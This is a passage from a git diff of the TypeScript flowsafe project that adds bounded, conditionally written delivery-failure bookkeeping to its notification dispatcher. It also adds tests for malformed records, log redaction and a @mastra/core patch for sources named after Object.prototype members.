'signal', + lastDeliveryAttemptAt: NOW, + } + : { + status: 'discarded', + deliveryReason: 'content-policy-denied', + lastDeliveryAttemptAt: NOW, + }), + }); + downstream = await storage.getNotification(record); + throw new Error('HTTP response lost'); + }); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => NOW, + maxDeliveryAttempts: 1, + }); + expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 }); + expect(await storage.getNotification(record)).toEqual(downstream); + if (mode === 'failed') + expect(downstream).toMatchObject({ + deliveryAttempts: 1, + lastDeliveryError: 'target refused', + }); + }); + + it('skips a pending delivered receipt but permits a summarized individual', async () => { + const storage = notificationStorage(); + const delivered = await pending(storage, { id: 'delivered' }); + await storage.updateNotification({ + ...delivered, + deliveredSignalId: 'signal', + deliveryAttempts: 10, + }); + const summarized = await pending(storage, { id: 'summarized' }); + await storage.updateNotification({ + ...summarized, + summarySignalId: 'summary', + }); + const bodies: unknown[] = []; + const send = vi.fn(async (_context, _thread, _path, input: RequestInit) => { + bodies.push(JSON.parse(String(input.body))); + return new Response(JSON.stringify({ delivered: 1, failed: 0 })); + }); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => NOW, + }); + expect(await tick()).toEqual({ due: 2, delivered: 1, failed: 0 }); + expect(bodies).toEqual([ + expect.objectContaining({ notificationIds: ['summarized'] }), + ]); + expect((await storage.getNotification(delivered))?.status).toBe('pending'); + }); + + it('contains malformed records and diagnostic failures while settling distinct physical keys', async () => { + const storage = notificationStorage(); + const first = await pending(storage, { id: 'same', threadId: 'first' }); + const second = await pending(storage, { id: 'same', threadId: 'second' }); + const malformed = await pending(storage, { id: 'malformed' }); + Object.assign(malformed, { deliveryAttempts: null }); + vi.spyOn(storage, 'listDueNotifications').mockResolvedValue([ + first, + second, + first, + malformed, + ]); + const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage); + vi.spyOn( + storage, + 'updateNotificationDeliveryIfUnchanged', + ).mockImplementation((input) => { + if (input.expected.threadId === 'first') throw new Error('before commit'); + return write(input); + }); + const send = vi.fn(async () => { + throw { + toString() { + throw new Error('coercion failed'); + }, + }; + }); + const logger = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + try { + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => NOW, + maxDeliveryAttempts: 1, + }); + expect(await tick()).toEqual({ + due: 4, + delivered: 0, + failed: 2, + discarded: 1, + }); + expect((await storage.getNotification(first))?.deliveryAttempts).toBe(0); + expect(await storage.getNotification(second)).toMatchObject({ + status: 'discarded', + deliveryAttempts: 1, + lastDeliveryError: 'unreadable error', + }); + expect((await storage.getNotification(malformed))?.deliveryAttempts).toBe( + 0, + ); + expect(send).toHaveBeenCalledTimes(2); + } finally { + logger.mockRestore(); + } + }); +}); + +describe('notification delivery boundary cases', () => { + it('records the maximum safe attempt at an equal maximum safe bound', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const observed = await storage.updateNotification({ + ...record, + deliveryAttempts: Number.MAX_SAFE_INTEGER - 1, + }); + expect(await failure(storage, observed, Number.MAX_SAFE_INTEGER)).toBe( + 'discarded', + ); + expect(await storage.getNotification(record)).toMatchObject({ + deliveryAttempts: Number.MAX_SAFE_INTEGER, + status: 'discarded', + }); + }); + + it('keeps malformed composite keys distinct without requiring route-safe storage IDs', async () => { + const storage = notificationStorage(); + const template = await pending(storage); + const first = { ...template, threadId: 'a\0b', id: 'c' }; + const second = { + ...template, + threadId: 'a', + id: 'b\0c', + resourceId: 'bad/resource', + }; + vi.spyOn(storage, 'listDueNotifications').mockResolvedValue([ + first, + second, + ]); + const write = vi + .spyOn(storage, 'updateNotificationDeliveryIfUnchanged') + .mockResolvedValue({ applied: false }); + const send = vi.fn(); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => NOW, + maxDeliveryAttempts: 1, + }); + expect(await tick()).toEqual({ + due: 2, + delivered: 0, + failed: 2, + }); + expect(send).not.toHaveBeenCalled(); + expect( + write.mock.calls.map(([input]) => [ + input.expected.threadId, + input.expected.id, + ]), + ).toEqual([ + ['a\0b', 'c'], + ['a', 'b\0c'], + ]); + }); + + it.each([ + 'wrong-key', + 'wrong-receipt', + ] as const)('requires exact persisted state after a valid-shaped %s applied result', async (mode) => { + const storage = notificationStorage(); + const record = await pending(storage); + const read = vi.spyOn(storage, 'getNotification'); + vi.spyOn( + storage, + 'updateNotificationDeliveryIfUnchanged', + ).mockResolvedValue({ + applied: true, + record: { + ...record, + ...(mode === 'wrong-key' + ? { id: 'different' } + : { status: 'discarded', deliveryReason: 'content-policy-denied' }), + }, + }); + const log = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + expect(await failure(storage, record, 1)).toBe('uncertain'); + expect(read).toHaveBeenCalledTimes(1); + expect(await storage.getNotification(record)).toEqual(record); + } finally { + log.mockRestore(); + } + }); + + it('recovers a committed exact target after a malformed storage result', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage); + const call = vi + .spyOn(storage, 'updateNotificationDeliveryIfUnchanged') + .mockImplementation(async (input) => { + await write(input); + return { applied: true } as NotificationDeliveryUpdateResult; + }); + const read = vi.spyOn(storage, 'getNotification'); + expect(await failure(storage, record, 1)).toBe('discarded'); + expect(call).toHaveBeenCalledTimes(1); + expect(read).toHaveBeenCalledTimes(1); + }); + + it('preserves date ordering across extended ISO years', async () => { + const storage = notificationStorage(); + const record = await pending(storage, { + summaryAt: new Date('+010000-01-01T00:00:00.000Z'), + }); + const now = new Date('+010000-01-01T00:00:00.000Z'); + expect(await failure(storage, record, 10, now)).toBe('deferred'); + const current = await storage.getNotification(record); + const retryAt = new Date(now.getTime() + 1000); + expect(current?.deliverAt).toEqual(retryAt); + expect(current?.summaryAt).toEqual(retryAt); + }); +}); + +describe('notification bookkeeping diagnostics', () => { + it('does not log unreadable JSON content or serializer exceptions', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const expected = { + ...captureNotificationDeliveryObservation(record), + payload: '{"token":"private-json"', + }; + const log = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + expect( + await recordNotificationDeliveryFailure( + captureNotificationDeliveryStorage(storage), + expected, + NOW, + 10, + { type: 'failure', error: 'refused' }, + ), + ).toBe('uncertain'); + expect(JSON.stringify(log.mock.calls)).not.toContain('private-json'); + record.payload = { + toJSON() { + throw new Error('private-serializer'); + }, + }; + expect(() => captureNotificationDeliveryObservation(record)).toThrow( + 'notification value is not JSON serializable', + ); + } finally { + log.mockRestore(); + } + }); +}); diff --git a/packages/flowsafe/src/signals/notification-dispatch.ts b/packages/flowsafe/src/signals/notification-dispatch.ts index 71419813..41cf36cb 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.ts @@ -1,8 +1,9 @@ // SPDX-License-Identifier: Apache-2.0 -import type { - NotificationRecord, - NotificationsStorage, +import { + type NotificationRecord, + type NotificationsStorage, + summarizeNotifications, } from '@mastra/core/notifications'; import type { ActorContext } from '../approval-api/index.js'; @@ -13,13 +14,84 @@ import { readExecutionFence, } from '../do-runner/index.js'; import type { ThreadTopology } from '../host-kit/index.js'; -import { nonnegativeSafeInteger } from '../numeric-config.js'; +import { + nonnegativeSafeInteger, + positiveSafeInteger, +} from '../numeric-config.js'; +import { jsonOrNull } from './d1-shared.js'; + +/** Scalar values preserve the attempted observation across asynchronous writes. */ +export type NotificationDeliveryObservation = Readonly<{ + id: string; + threadId: string; + source: string; + kind: string; + priority: NotificationRecord['priority']; + status: NotificationRecord['status']; + summary: string; + payload: string | null; + resourceId: string | null; + agentId: string | null; + sourceId: string | null; + dedupeKey: string | null; + coalesceKey: string | null; + coalescedCount: number; + attributes: string | null; + createdAt: string; + updatedAt: string; + deliverAt: string | null; + summaryAt: string | null; + deliveryReason: string | null; + deliveryAttempts: number; + lastDeliveryAttemptAt: string | null; + lastDeliveryError: string | null; + deliveredSignalId: string | null; + summarySignalId: string | null; + deliveredAt: string | null; + seenAt: string | null; + dismissedAt: string | null; + archivedAt: string | null; + discardedAt: string | null; + metadata: string | null; +}>; + +export type NotificationDeliveryFailure = + | Readonly<{ + type: 'retry'; + updatedAt: string; + deliveryAttempts: number; + lastDeliveryAttemptAt: string; + lastDeliveryError: string; + deliverAt?: string; + summaryAt?: string; + }> + | Readonly<{ + type: 'discard'; + updatedAt: string; + deliveryAttempts: number; + lastDeliveryAttemptAt: string; + lastDeliveryError: string; + }> + | Readonly<{ type: 'exhausted'; updatedAt: string }>; + +export type NotificationDeliveryUpdateResult = + | { applied: true; record: NotificationRecord } + | { applied: false }; + +export interface NotificationDeliveryStorage extends NotificationsStorage { + updateNotificationDeliveryIfUnchanged(input: { + expected: NotificationDeliveryObservation; + failure: NotificationDeliveryFailure; + }): Promise; +} /** Maximum route-valid ids in one trusted thread-DO dispatch request. */ export const MAX_NOTIFICATION_DISPATCH_IDS = 100; +export const DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS = 10; + export interface NotificationDispatchTickOptions { - storage: NotificationsStorage; + storage: NotificationDeliveryStorage; topology: ThreadTopology; /** Builds the system-authorized context used after row bindings validate. */ resolveContext(): ActorContext; @@ -29,6 +101,8 @@ export interface NotificationDispatchTickOptions { * intentional no-op. Values above 100 are split into route-valid chunks. */ limit?: number; + /** Failed rounds before terminal discard. Must be a positive safe integer. */ + maxDeliveryAttempts?: number; /** * The deployment execution fence, read ONCE per pass, or `'none'` for a tick * with no database behind it. A drain still dispatches — the thread routes @@ -47,7 +121,7 @@ export interface NotificationDispatchTickResult { due: number; delivered: number; failed: number; - /** Terminal content-policy denials. Omitted when zero for wire compatibility. */ + /** Confirmed terminal discards. Omitted when zero for wire compatibility. */ discarded?: number; } @@ -186,8 +260,258 @@ export function packNotificationDispatchItems( return batches; } +function textValue(value: unknown): string { + if (typeof value !== 'string') { + throw new TypeError('notification text must be a string'); + } + return value; +} + +function optionalText(value: unknown): string | null { + return value === undefined || value === null ? null : textValue(value); +} + +function dateValue(value: unknown): string { + if (!(value instanceof Date) || !Number.isFinite(value.getTime())) { + throw new TypeError('notification timestamp must be a finite Date'); + } + return value.toISOString(); +} + +function optionalDate(value: unknown): string | null { + return value === undefined || value === null ? null : dateValue(value); +} + +function parsedJson(value: string): unknown { + try { + return JSON.parse(value, (_key, parsed: unknown) => { + if (typeof parsed === 'number' && !Number.isFinite(parsed)) { + throw new TypeError('notification JSON contains a nonfinite number'); + } + return parsed; + }); + } catch { + throw new TypeError('notification JSON is malformed'); + } +} + +function jsonValue(value: unknown): string | null { + try { + const encoded = jsonOrNull(value); + if (encoded === null) return null; + if (typeof encoded !== 'string') { + throw new TypeError('notification value is not JSON serializable'); + } + parsedJson(encoded); + return encoded; + } catch { + throw new TypeError('notification value is not JSON serializable'); + } +} + +export function captureNotificationDeliveryObservation( + record: NotificationRecord, +): NotificationDeliveryObservation { + const priority = record.priority; + const status = record.status; + if (!['low', 'medium', 'high', 'urgent'].includes(priority)) { + throw new TypeError('notification priority is invalid'); + } + if ( + ![ + 'pending', + 'delivered', + 'seen', + 'dismissed', + 'archived', + 'discarded', + ].includes(status) + ) { + throw new TypeError('notification status is invalid'); + } + const coalescedCount = + record.coalescedCount === undefined ? 1 : record.coalescedCount; + if (typeof coalescedCount !== 'number' || !Number.isFinite(coalescedCount)) { + throw new TypeError('notification coalesced count must be finite'); + } + return Object.freeze({ + id: textValue(record.id), + threadId: textValue(record.threadId), + source: textValue(record.source), + kind: textValue(record.kind), + priority, + status, + summary: textValue(record.summary), + payload: jsonValue(record.payload), + resourceId: optionalText(record.resourceId), + agentId: optionalText(record.agentId), + sourceId: optionalText(record.sourceId), + dedupeKey: optionalText(record.dedupeKey), + coalesceKey: optionalText(record.coalesceKey), + coalescedCount, + attributes: jsonValue(record.attributes), + createdAt: dateValue(record.createdAt), + updatedAt: dateValue(record.updatedAt), + deliverAt: optionalDate(record.deliverAt), + summaryAt: optionalDate(record.summaryAt), + deliveryReason: optionalText(record.deliveryReason), + deliveryAttempts: nonnegativeSafeInteger( + record.deliveryAttempts === undefined ? 0 : record.deliveryAttempts, + 'notification delivery attempts', + ), + lastDeliveryAttemptAt: optionalDate(record.lastDeliveryAttemptAt), + lastDeliveryError: optionalText(record.lastDeliveryError), + deliveredSignalId: optionalText(record.deliveredSignalId), + summarySignalId: optionalText(record.summarySignalId), + deliveredAt: optionalDate(record.deliveredAt), + seenAt: optionalDate(record.seenAt), + dismissedAt: optionalDate(record.dismissedAt), + archivedAt: optionalDate(record.archivedAt), + discardedAt: optionalDate(record.discardedAt), + metadata: jsonValue(record.metadata), + }); +} + +function decodedDate(value: string): Date { + const date = new Date(textValue(value)); + if (dateValue(date) !== value) { + throw new TypeError('notification observation timestamp must be ISO'); + } + return date; +} + +function decodedOptionalDate(value: string | null): Date | undefined { + return value === null ? undefined : decodedDate(value); +} + +function decodedJson(value: string | null): unknown { + return value === null ? undefined : parsedJson(textValue(value)); +} + +function recordFromObservation( + expected: NotificationDeliveryObservation, +): NotificationRecord { + return { + ...expected, + payload: decodedJson(expected.payload), + resourceId: expected.resourceId ?? undefined, + agentId: expected.agentId ?? undefined, + sourceId: expected.sourceId ?? undefined, + dedupeKey: expected.dedupeKey ?? undefined, + coalesceKey: expected.coalesceKey ?? undefined, + attributes: decodedJson( + expected.attributes, + ) as NotificationRecord['attributes'], + createdAt: decodedDate(expected.createdAt), + updatedAt: decodedDate(expected.updatedAt), + deliverAt: decodedOptionalDate(expected.deliverAt), + summaryAt: decodedOptionalDate(expected.summaryAt), + deliveryReason: expected.deliveryReason ?? undefined, + lastDeliveryAttemptAt: decodedOptionalDate(expected.lastDeliveryAttemptAt), + lastDeliveryError: expected.lastDeliveryError ?? undefined, + deliveredSignalId: expected.deliveredSignalId ?? undefined, + summarySignalId: expected.summarySignalId ?? undefined, + deliveredAt: decodedOptionalDate(expected.deliveredAt), + seenAt: decodedOptionalDate(expected.seenAt), + dismissedAt: decodedOptionalDate(expected.dismissedAt), + archivedAt: decodedOptionalDate(expected.archivedAt), + discardedAt: decodedOptionalDate(expected.discardedAt), + metadata: decodedJson(expected.metadata) as NotificationRecord['metadata'], + }; +} + +export function captureNotificationDeliverySelection( + record: NotificationRecord, +): { + record: NotificationRecord; + expected: NotificationDeliveryObservation; +} { + const expected = captureNotificationDeliveryObservation(record); + return { record: recordFromObservation(expected), expected }; +} + +export function captureNotificationDeliveryStorage( + storage: NotificationsStorage, +): Pick< + NotificationDeliveryStorage, + 'getNotification' | 'updateNotificationDeliveryIfUnchanged' +> { + const update = (storage as Partial) + .updateNotificationDeliveryIfUnchanged; + const get = storage.getNotification; + if (typeof update !== 'function' || typeof get !== 'function') { + throw new TypeError( + 'notification dispatch requires conditional delivery storage', + ); + } + return { + getNotification: get.bind(storage), + updateNotificationDeliveryIfUnchanged: update.bind(storage), + }; +} + +// Core's inline summary sender and the thread-DO summary route both reach +// Core's summarizeNotifications; unpatched, a source named after an +// Object.prototype member is miscounted in the summary a receipt is recorded +// against, and Core's own source-policy lookup resolves an inherited entry +// instead of the configured action. A behaviour probe rather than a prototype +// check lets any correct upstream fix pass. The record is the getting-started +// guide's confirmation record. +const SOURCE_KEY_PROBE: NotificationRecord = { + id: 'n', + threadId: 't', + source: 'constructor', + kind: 'k', + priority: 'low', + status: 'pending', + summary: 's', + createdAt: new Date(0), + updatedAt: new Date(0), +}; +let sourceKeysPatched: boolean | undefined; + +export function assertNotificationSourceKeysPatched(): void { + sourceKeysPatched ??= + typeof summarizeNotifications([SOURCE_KEY_PROBE]).bySource.constructor === + 'number'; + if (!sourceKeysPatched) { + throw new TypeError( + 'notification dispatch requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + ); + } +} + function errorMessage(error: unknown): string { - return error instanceof Error ? error.message : String(error); + try { + return String(error instanceof Error ? error.message : error); + } catch { + return 'unreadable error'; + } +} + +function logFailure( + type: string, + error: unknown, + field: 'error' | 'reason' = 'error', +): void { + try { + console.error(JSON.stringify({ type, [field]: errorMessage(error) })); + } catch { + // Diagnostic failures cannot interrupt notification bookkeeping. + } +} + +export function reportNotificationDeliveryError(error: unknown): void { + logFailure('notification-dispatch-bookkeeping-error', error); +} + +function observationsMatch( + left: NotificationDeliveryObservation, + right: NotificationDeliveryObservation, +): boolean { + return (Object.keys(left) as (keyof NotificationDeliveryObservation)[]).every( + (key) => left[key] === right[key], + ); } const NOTIFICATION_RETRY_BASE_MS = 1_000; @@ -196,51 +520,163 @@ const NOTIFICATION_RETRY_MAX_MS = 5 * 60_000; /** * Record one delivery failure and move every currently-due cursor forward. * Without the cursor move, one permanently blocked row can monopolize a - * bounded deployment-wide due scan forever. + * bounded deployment-wide due scan. The attempt bound is the other half of the + * same guarantee: a row that keeps failing leaves the due scan. */ -export async function deferNotificationAfterFailure( - storage: NotificationsStorage, - record: NotificationRecord, - now: Date, - error: unknown, -): Promise { - const attempts = (record.deliveryAttempts ?? 0) + 1; - const delay = Math.min( - NOTIFICATION_RETRY_MAX_MS, - NOTIFICATION_RETRY_BASE_MS * 2 ** Math.min(attempts - 1, 8), - ); - const retryAt = new Date(now.getTime() + delay); - await storage.updateNotification({ - id: record.id, - threadId: record.threadId, - deliveryAttempts: attempts, - lastDeliveryAttemptAt: now, - lastDeliveryError: errorMessage(error), - ...(record.deliverAt && record.deliverAt.getTime() <= now.getTime() - ? { deliverAt: retryAt } - : {}), - ...(record.summaryAt && record.summaryAt.getTime() <= now.getTime() - ? { summaryAt: retryAt } - : {}), - }); -} - -async function recordFailure( - storage: NotificationsStorage, - record: NotificationRecord, +export async function recordNotificationDeliveryFailure( + storage: Pick< + NotificationDeliveryStorage, + 'getNotification' | 'updateNotificationDeliveryIfUnchanged' + >, + expected: NotificationDeliveryObservation, now: Date, - error: unknown, -): Promise { + maxDeliveryAttempts: number, + action: { type: 'failure'; error: unknown } | { type: 'exhausted' }, +): Promise<'deferred' | 'discarded' | 'unchanged' | 'uncertain'> { try { - await deferNotificationAfterFailure(storage, record, now, error); - } catch (updateError) { - console.error( - JSON.stringify({ - type: 'notification-dispatch-bookkeeping-error', - notificationId: record.id, - error: errorMessage(updateError), - }), + positiveSafeInteger( + maxDeliveryAttempts, + 'notification maximum delivery attempts', ); + // Re-capturing the caller-supplied observation from its own record checks + // its canonical form before the conditional write: a custom store does not + // run D1's value validation, so a non-canonical timestamp or non-JSON + // payload text would otherwise reach the write unchecked. + const observed = captureNotificationDeliveryObservation( + recordFromObservation(expected), + ); + if (!observationsMatch(observed, expected)) { + throw new TypeError('notification delivery observation is invalid'); + } + if (observed.status !== 'pending' || observed.deliveredSignalId) + return 'unchanged'; + const attemptAt = dateValue(now); + const attemptTime = Date.parse(attemptAt); + const updatedAt = new Date().toISOString(); + let failure: NotificationDeliveryFailure; + if (observed.deliveryAttempts >= maxDeliveryAttempts) { + failure = { type: 'exhausted', updatedAt }; + } else { + if (action.type !== 'failure') { + throw new RangeError( + 'notification delivery attempts are not exhausted', + ); + } + const attempts = observed.deliveryAttempts + 1; + const receipt = { + updatedAt, + deliveryAttempts: attempts, + lastDeliveryAttemptAt: attemptAt, + lastDeliveryError: errorMessage(action.error), + }; + if (attempts >= maxDeliveryAttempts) { + failure = { type: 'discard', ...receipt }; + } else { + const delay = Math.min( + NOTIFICATION_RETRY_MAX_MS, + NOTIFICATION_RETRY_BASE_MS * 2 ** Math.min(attempts - 1, 8), + ); + const retryAt = new Date(attemptTime + delay).toISOString(); + failure = { + type: 'retry', + ...receipt, + ...(observed.deliverAt !== null && + Date.parse(observed.deliverAt) <= attemptTime + ? { deliverAt: retryAt } + : {}), + ...(observed.summaryAt !== null && + Date.parse(observed.summaryAt) <= attemptTime + ? { summaryAt: retryAt } + : {}), + }; + } + } + Object.freeze(failure); + const target: NotificationDeliveryObservation = Object.freeze({ + ...observed, + updatedAt, + ...(failure.type === 'exhausted' + ? {} + : { + deliveryAttempts: failure.deliveryAttempts, + lastDeliveryAttemptAt: failure.lastDeliveryAttemptAt, + lastDeliveryError: failure.lastDeliveryError, + }), + ...(failure.type === 'retry' + ? { + ...(failure.deliverAt === undefined + ? {} + : { deliverAt: failure.deliverAt }), + ...(failure.summaryAt === undefined + ? {} + : { summaryAt: failure.summaryAt }), + } + : { + status: 'discarded', + deliveryReason: 'delivery-attempts-exhausted', + discardedAt: updatedAt, + deliverAt: null, + summaryAt: null, + }), + }); + const confirmed = failure.type === 'retry' ? 'deferred' : 'discarded'; + try { + const result = await storage.updateNotificationDeliveryIfUnchanged({ + expected: observed, + failure, + }); + if (!result || typeof result !== 'object' || Array.isArray(result)) { + throw new TypeError( + 'notification delivery update returned an invalid result', + ); + } + const keys = Reflect.ownKeys(result); + if ( + result.applied === false && + keys.length === 1 && + keys[0] === 'applied' + ) { + return 'unchanged'; + } + if ( + result.applied !== true || + keys.length !== 2 || + !keys.includes('applied') || + !keys.includes('record') || + !observationsMatch( + target, + captureNotificationDeliveryObservation(result.record), + ) + ) { + throw new TypeError( + 'notification delivery update did not confirm its receipt', + ); + } + return confirmed; + } catch (error) { + try { + const current = await storage.getNotification({ + threadId: observed.threadId, + id: observed.id, + }); + if ( + current && + observationsMatch( + target, + captureNotificationDeliveryObservation(current), + ) + ) { + return confirmed; + } + } catch (readError) { + logFailure('notification-dispatch-bookkeeping-read-error', readError); + } + logFailure('notification-dispatch-bookkeeping-error', error); + return 'uncertain'; + } + } catch (error) { + logFailure('notification-dispatch-bookkeeping-error', error); + return 'uncertain'; } } @@ -256,8 +692,21 @@ export function createNotificationDispatchTick( options.limit ?? 100, 'notification dispatch tick limit', ); + const maxDeliveryAttempts = positiveSafeInteger( + options.maxDeliveryAttempts ?? DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, + 'notification maximum delivery attempts', + ); + assertNotificationSourceKeysPatched(); + if (limit === 0) return async () => ({ due: 0, delivered: 0, failed: 0 }); + const { + storage, + topology, + resolveContext, + now: clock, + executionFence, + } = options; + const deliveryStorage = captureNotificationDeliveryStorage(storage); return async () => { - if (limit === 0) return { due: 0, delivered: 0, failed: 0 }; // The fence, before the due read and before any delivery. This runs on a // maintenance alarm, so a fence that cannot be READ degrades closed by // skipping the pass and logging: throwing would fail the duty, and @@ -265,23 +714,18 @@ export function createNotificationDispatchTick( let admitted: boolean; try { admitted = admitsDrainableExecution( - await readExecutionFence(options.executionFence), + await readExecutionFence(executionFence), ); } catch (error) { - console.error( - JSON.stringify({ - type: 'notification-dispatch-fence-error', - // `reason`, matching schedule-tick-fence-error: the two alarm lanes - // degrade closed identically, so an operator greps one field. - reason: errorMessage(error), - }), - ); + // `reason` matches schedule-tick-fence-error, so the two alarm lanes + // degrade closed identically and an operator greps one field. + logFailure('notification-dispatch-fence-error', error, 'reason'); return { due: 0, delivered: 0, failed: 0 }; } if (!admitted) return { due: 0, delivered: 0, failed: 0 }; - const now = options.now?.() ?? new Date(); - const due = await options.storage.listDueNotifications({ - now, + const nowMs = (clock?.() ?? new Date()).getTime(); + const due = await storage.listDueNotifications({ + now: new Date(nowMs), limit, }); const result: NotificationDispatchTickResult = { @@ -290,30 +734,66 @@ export function createNotificationDispatchTick( failed: 0, }; const groups = new Map(); - + const selected = new Map< + NotificationRecord, + NotificationDeliveryObservation + >(); + const seen = new Map>(); for (const record of due) { + try { + const threadId = textValue(record.threadId); + const id = textValue(record.id); + const ids = seen.get(threadId) ?? new Set(); + if (ids.has(id)) continue; + ids.add(id); + seen.set(threadId, ids); + const selection = captureNotificationDeliverySelection(record); + selected.set(selection.record, selection.expected); + } catch (error) { + result.failed += 1; + reportNotificationDeliveryError(error); + } + } + const recordFailure = async ( + expected: NotificationDeliveryObservation, + action: { type: 'failure'; error: unknown } | { type: 'exhausted' }, + ) => { + const outcome = await recordNotificationDeliveryFailure( + deliveryStorage, + expected, + new Date(nowMs), + maxDeliveryAttempts, + action, + ); + if (outcome === 'discarded') { + result.discarded = (result.discarded ?? 0) + 1; + } else { + result.failed += 1; + } + }; + + for (const [record, expected] of selected) { + if (expected.status !== 'pending' || expected.deliveredSignalId) continue; + if (expected.deliveryAttempts >= maxDeliveryAttempts) { + await recordFailure(expected, { type: 'exhausted' }); + continue; + } if ( !isPathSafeId(record.threadId) || !record.resourceId || !isPathSafeId(record.resourceId) ) { - result.failed += 1; - await recordFailure( - options.storage, - record, - now, - new Error('notification has malformed memory ids'), - ); + await recordFailure(expected, { + type: 'failure', + error: new Error('notification has malformed memory ids'), + }); continue; } if (typeof record.agentId !== 'string' || record.agentId.length === 0) { - result.failed += 1; - await recordFailure( - options.storage, - record, - now, - new Error('notification has no agent id'), - ); + await recordFailure(expected, { + type: 'failure', + error: new Error('notification has no agent id'), + }); continue; } const resourceId = record.resourceId; @@ -331,13 +811,13 @@ export function createNotificationDispatchTick( for (const group of groups.values()) { const batches = packNotificationDispatchItems( - planNotificationDispatch(group.records, now), + planNotificationDispatch(group.records, new Date(nowMs)), ); let batchThreadState: 'active' | 'idle' | null = null; for (const records of batches) { try { - const context = options.resolveContext(); - const response = await options.topology.send( + const context = resolveContext(); + const response = await topology.send( context, group.threadId, '/signal/notifications/dispatch', @@ -348,7 +828,7 @@ export function createNotificationDispatchTick( notificationIds: records.map((record) => record.id), resourceId: group.resourceId, agentId: group.agentId, - now: now.toISOString(), + now: new Date(nowMs).toISOString(), batchThreadState, }), }, @@ -377,9 +857,10 @@ export function createNotificationDispatchTick( batchThreadState = body.batchThreadState; } } catch (error) { - result.failed += records.length; for (const record of records) { - await recordFailure(options.storage, record, now, error); + const expected = selected.get(record); + if (expected) + await recordFailure(expected, { type: 'failure', error }); } } } diff --git a/packages/flowsafe/src/signals/notification-source-keys.test.ts b/packages/flowsafe/src/signals/notification-source-keys.test.ts new file mode 100644 index 00000000..5db581dd --- /dev/null +++ b/packages/flowsafe/src/signals/notification-source-keys.test.ts @@ -0,0 +1,567 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { Agent } from '@mastra/core/agent'; +import type { MastraModelConfig } from '@mastra/core/llm'; +import { Mastra } from '@mastra/core/mastra'; +import { MockMemory } from '@mastra/core/memory'; +import type { + NotificationDeliveryPolicyConfig, + NotificationDeliveryPolicyDecision, + NotificationPriority, + NotificationRecord, + NotificationStatus, +} from '@mastra/core/notifications'; +import { + notificationSummaryContents, + notificationSummarySignalMetadata, + resolveNotificationDeliveryDecision, + summarizeNotifications, +} from '@mastra/core/notifications'; +import { InMemoryStore } from '@mastra/core/storage'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +declare const process: { + on(event: 'unhandledRejection', listener: (reason: unknown) => void): void; + off(event: 'unhandledRejection', listener: (reason: unknown) => void): void; +}; + +let unhandled: unknown[]; +let onUnhandled: (reason: unknown) => void; + +// The thread stream runtime is a module singleton, so a spy on it outlives the +// case that installed it. An unconsumed stream's rejection outlives it too. +beforeEach(() => { + unhandled = []; + onUnhandled = (reason) => unhandled.push(reason); + process.on('unhandledRejection', onUnhandled); +}); + +afterEach(() => { + process.off('unhandledRejection', onUnhandled); + vi.restoreAllMocks(); +}); + +const getBuiltin = ( + globalThis as { process?: { getBuiltinModule?: (id: string) => unknown } } +).process?.getBuiltinModule; +if (!getBuiltin) throw new Error('CJS coverage requires node >= 22.3'); +const { createRequire } = getBuiltin('node:module') as { + createRequire: (from: string) => (id: string) => unknown; +}; +const cjs = createRequire((import.meta as unknown as { url: string }).url)( + '@mastra/core/notifications', +) as { + summarizeNotifications: typeof summarizeNotifications; + notificationSummaryContents: typeof notificationSummaryContents; + notificationSummarySignalMetadata: typeof notificationSummarySignalMetadata; + resolveNotificationDeliveryDecision: typeof resolveNotificationDeliveryDecision; +}; + +const esm = { + summarizeNotifications, + notificationSummaryContents, + notificationSummarySignalMetadata, + resolveNotificationDeliveryDecision, +}; + +const modules: Array<[string, typeof esm]> = [ + ['esm', esm], + ['cjs', cjs], +]; + +// The getting-started guide's confirmation record. With the patch applied, +// `bySource.constructor` carries this record's own count instead of the +// inherited Object.prototype member. +const PATCH_PROBE: NotificationRecord = { + id: 'n', + threadId: 't', + source: 'constructor', + kind: 'k', + priority: 'low', + status: 'pending', + summary: 's', + createdAt: new Date(0), + updatedAt: new Date(0), +}; + +const patched = new Map( + modules.map( + ([label, core]) => + [ + label, + typeof core.summarizeNotifications([PATCH_PROBE]).bySource + .constructor === 'number', + ] as const, + ), +); + +it('loads the CJS lane as its own module realization', () => { + expect(cjs.summarizeNotifications).not.toBe(summarizeNotifications); +}); + +it.each( + modules, +)('reports the @mastra/core patch applied (%s)', (_label, core) => { + expect( + typeof core.summarizeNotifications([PATCH_PROBE]).bySource.constructor, + ).toBe('number'); +}); + +const CREATED_AT = new Date('2026-01-01T00:00:00.000Z'); + +function record( + id: string, + source: string, + priority: NotificationPriority, + status: NotificationStatus = 'pending', +): NotificationRecord { + return { + id, + threadId: 'thread-keys', + resourceId: 'resource-keys', + agentId: 'agent-keys', + source, + kind: 'changed', + priority, + status, + summary: `summary ${id}`, + createdAt: CREATED_AT, + updatedAt: CREATED_AT, + }; +} + +/** + * Object literals treat a `__proto__` key as the prototype setter, so a literal + * can never express the own entry these cases are about. + */ +function sourcePolicy( + entries: Array<[string, NotificationDeliveryPolicyDecision]>, +): Record { + return Object.fromEntries(entries); +} + +const BATCH: NotificationRecord[] = [ + record('n1', '__proto__', 'low'), + record('n2', 'constructor', 'medium'), + record('n3', 'toString', 'high'), + record('n4', 